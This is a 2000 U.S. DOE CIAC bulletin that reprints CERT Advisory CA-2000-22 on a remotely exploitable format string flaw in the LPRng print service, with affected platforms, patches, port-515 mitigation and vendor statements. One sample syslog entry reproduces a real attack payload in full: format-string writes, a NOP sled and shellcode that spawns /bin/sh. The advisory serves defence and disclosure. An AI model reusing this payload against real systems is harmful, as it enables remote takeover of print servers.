__________________________________________________________ The U.S. Department of Energy Computer Incident Advisory Capability ___ __ __ _ ___ / | /_\ / \___ __|__ / \ \___ __________________________________________________________ INFORMATION BULLETIN LPRng Format String Vulnerability December 13, 2000 15:00 GMT Number L-025 ______________________________________________________________________________ PROBLEM: A format string vulnerability has been discovered in LPRng. PLATFORM: Systems running unpatched LPRng software. Caldera Systems: OpenLinux Desktop 2.3 All packages previous to LPRng-3.5.3-3 OpenLinux eServer 2.3 All packages previous to and OpenLinux eBuilder LPRng-3.5.3-3 OpenLinux eDesktop 2.4 All packages previous to LPRng-3.5.3-3 FreeBSD with LPRng port versions prior to FreeBSD 4.2 NetBSD (not the base system but a third-party package) RedHat LPRng Version 3.6.24 and earlier. DAMAGE: This vulnerability may allow remote users to execute arbitrary code on vulnerable systems. In addition, the printing service may be disrupted or disabled entirely. SOLUTION: Apply the vendor patches as directed. ______________________________________________________________________________ VULNERABILITY The risk is HIGH. Tools exploiting this vulnerability have been ASSESSMENT: posted to public forums. ______________________________________________________________________________ [***** Start CERT Advisory *****] CERT Advisory CA-2000-22 Input Validation Problems in LPRng Original release date: December 12, 2000 Last updated: -- Source: CERT/CC A complete revision history is at the end of this file. Systems Affected * Systems running unpatched LPRng software Overview A popular replacement software package to the BSD lpd printing service called LPRng contains at least one software defect, known as a "format string vulnerability,"[1] which may allow remote users to execute arbitrary code on vulnerable systems. I. Description LPRng, now being packaged in several open-source operating system distributions, has a missing format string argument in at least two calls to the syslog() function. Missing format strings in function calls allow user-supplied arguments to be passed to a susceptible *snprintf() function call. Remote users with access to the printer port (port 515/tcp) may be able to pass format-string parameters that can overwrite arbitrary addresses in the printing service's address space. Such overwriting can cause segmentation violations leading to denial of printing services or to the execution of arbitrary code injected through other means into the memory segments of the printer service. Sample syslog entries from successful exploitation of this vulnerability have been reported, as follows: Nov 26 10:01:00 foo SERVER[12345]: Dispatch_input: bad request line 'BB{E8}{F3}{FF}{BF}{E9}{F3}{FF}{BF}{EA}{F3}{FF}{BF}{EB}{F3}{FF}{BF} XXXXXXXXXXXXXXXXXX%.168u%300$nsecurity.%301 $nsecurity%302$n%.192u%303$n {90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90} {90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90} {90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90} {90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90} {90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90} {90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90} {90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90} {90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90} {90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90} {90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90} {90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90} {90}{90} 1{DB}1{C9}1{C0}{B0}F{CD}{80}{89}{E5}1{D2}{B2}f{89}{D0}1{C9}{89}{CB}C{89} ]{F8}C{89}]{F4}K{89}M{FC}{8D}M{F4}{CD}{80}1{C9}{89}E{F4}Cf{89}]{EC}f{C7} E{EE}{F}'{89}M{F0}{8D}E{EC}{89}E{F8}{C6}E{FC}{10}{89}{D0}{8D} M{F4}{CD}{80}{89}{D0}CC{CD}{80}{89}{D0}C{CD}{80}{89}{C3}1{C9}{B2} ?{89}{D0}{CD}{80}{89}{D0}A{CD}{80}{EB}{18}^{89}u{8}1{C0}{88}F{7}{89} E{C}{B0}{B}{89}{F3}{8D}M{8}{8D}U{C}{CD}{80}{E8}{E3}{FF}{FF}{FF}/bin/sh{A}' This vulnerability has been assigned the identifier CAN-2000-0917 by the Common Vulnerabilities and Exposures (CVE) group: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0917 The CERT/CC has received reports of extensive probing to port 515/tcp. In addition, we have received some reports of systems compromised using this vulnerability. Tools exploiting this vulnerability have been posted to public forums. II. Impact A remote user may be able to execute arbitrary code with elevated privileges. In addition, the printing service may be disrupted or disabled entirely. III. Solution Apply a patch from your vendor Upgrade to a non-vulnerable version of LPRng (3.6.25), as described in the vendor sections below. Alternately, you can obtain the version of LPRng which fixes the missing format string at: ftp://ftp.astart.com/pub/LPRng/LPRng/LPRng-3.6.25.tgz Disallow access to printer service ports (typically 515/tcp) using firewall or packet-filtering technologies Blocking access to the vulnerable service will limit your exposure to attacks from outside your network perimeter. However, the vulnerability would still allow local users to gain privileges they normally shouldn't have; in addition, blocking port 515/tcp at a network perimeter would still allow any remote user inside the perimeter to exploit the vulnerability. Appendix A. Vendor Information Apple Apple has conducted an investigation and determined that Mac OS X Public Beta and Mac OS X Server do not use LPRng and are therefore not vulnerable to this exploitation. Caldera OpenLinux See CSSA-2000-033.0 "format bug in LPRng" at: http://www.calderasystems.com/support/security/advisories/CSSA- 2000-033.0.txt Compaq Computer Corporation Compaq Tru64 UNIX S/W is not vulnerable. FreeBSD FreeBSD does not include LPRng in the base system. Older versions of FreeBSD included a vulnerable version of LPRng in the Ports Collection but this was corrected almost 2 months ago, prior to the release of FreeBSD 4.2. See FreeBSD Security Advisory 00:56 (ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-00:56.lp rng.asc) for more information. Hewlett-Packard Company This does not apply to HP; HP does not ship LPRng on HP-UX. IBM IBM's AIX operating system is not vulnerable to this security exploit. Microsoft Corporation Microsoft doesn't use LPRng in any of its products, so no Microsoft products are affected by the vulnerability. NetBSD NetBSD does not include LPRng in the base system; however we do have a third-party package of LPRng-3.6.8 which is vulnerable. There's work underway to upgrade it to a non-vulnerable version. OpenBSD OpenBSD does not ship lprng. RedHat LPRng Version 3.6.24 and earlier is vulnerable. See RHSA-2000:065-04 at: http://www.redhat.com/support/errata/RHSA-2000-065-06.html SGI IRIX does not contain LPRng support. SuSE SuSE is not vulnerable. Please see additional comments at: http://lists.suse.com/archives/suse-security/2000-Sep/0259.html References 1. VU#382365: LPRng can pass user-supplied input as a format string parameter to syslog() calls, CERT/CC, 10/06/2000, https://www.kb.cert.org/vuls/id/382365 _________________________________________________________________ The CERT Coordination Center thanks Chris Evans for his initial report on the vulnerability described in this advisory. _________________________________________________________________ Author: This document was written by Jeffrey S Havrilla. Feedback on this advisory is appreciated. ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2000-22.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT personnel answer the hotline 08:00-20:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * "CERT" and "CERT Coordination Center" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an "as is" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2000 Carnegie Mellon University. Revision History Dec 12, 2000: Initial Release [***** End CERT Advisory *****] _______________________________________________________________________________ CIAC wishes to acknowledge the contributions of CERT(R) Coordination Center for the information contained in this bulletin. _______________________________________________________________________________ CIAC, the Computer Incident Advisory Capability, is the computer security incident response team for the U.S. Department of Energy (DOE) and the emergency backup response team for the National Institutes of Health (NIH). CIAC is located at the Lawrence Livermore National Laboratory in Livermore, California. CIAC is also a founding member of FIRST, the Forum of Incident Response and Security Teams, a global organization established to foster cooperation and coordination among computer security teams worldwide. CIAC services are available to DOE, DOE contractors, and the NIH. CIAC can be contacted at: Voice: +1 925-422-8193 FAX: +1 925-423-8002 STU-III: +1 925-423-2604 E-mail: ciac@llnl.gov For emergencies and off-hour assistance, DOE, DOE contractor sites, and the NIH may contact CIAC 24-hours a day. During off hours (5PM - 8AM PST), use one of the following methods to contact CIAC: 1. Call the CIAC voice number 925-422-8193 and leave a message, or 2. Call 888-449-8369 to send a Sky Page to the CIAC duty person or 3. Send e-mail to 4498369@skytel.com, or 4. Call 800-201-9288 for the CIAC Project Leader. Previous CIAC notices, anti-virus software, and other information are available from the CIAC Computer Security Archive. World Wide Web: http://www.ciac.org/ (or http://ciac.llnl.gov -- they're the same machine) Anonymous FTP: ftp.ciac.org (or ciac.llnl.gov -- they're the same machine) Modem access: +1 (925) 423-4753 (28.8K baud) +1 (925) 423-3331 (28.8K baud) PLEASE NOTE: Many users outside of the DOE, ESnet, and NIH computing communities receive CIAC bulletins. If you are not part of these communities, please contact your agency's response team to report incidents. Your agency's team will coordinate with CIAC. The Forum of Incident Response and Security Teams (FIRST) is a world-wide organization. A list of FIRST member organizations and their constituencies can be obtained via WWW at http://www.first.org/. This document was prepared as an account of work sponsored by an agency of the United States Government. Neither the United States Government nor the University of California nor any of their employees, makes any warranty, express or implied, or assumes any legal liability or responsibility for the accuracy, completeness, or usefulness of any information, apparatus, product, or process disclosed, or represents that its use would not infringe privately owned rights. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not necessarily constitute or imply its endorsement, recommendation or favoring by the United States Government or the University of California. The views and opinions of authors expressed herein do not necessarily state or reflect those of the United States Government or the University of California, and shall not be used for advertising or product endorsement purposes. LAST 10 CIAC BULLETINS ISSUED (Previous bulletins available from CIAC) L-015: Tcpdump Remote Buffer Overflows L-016: Microsoft Netmon Protocol Parsing L-017: HP-UX dtterm misuse L-018: Microsoft "Web Server File Request Parsing" Vulnerability L-019: ISC BIND Vulnerabilities L-020: Red Hat Linux modutils Vulnerability L-021: IBM AIX Locale and BIND Fixes L-022: Red Hat Linux Netscape HTML Buffer Overflow L-023: Microsoft Incomplete TCP/IP Packet Vulnerability L-024: Microsoft Texas Imperial Software WFTPD 3.0Pro Vulnerability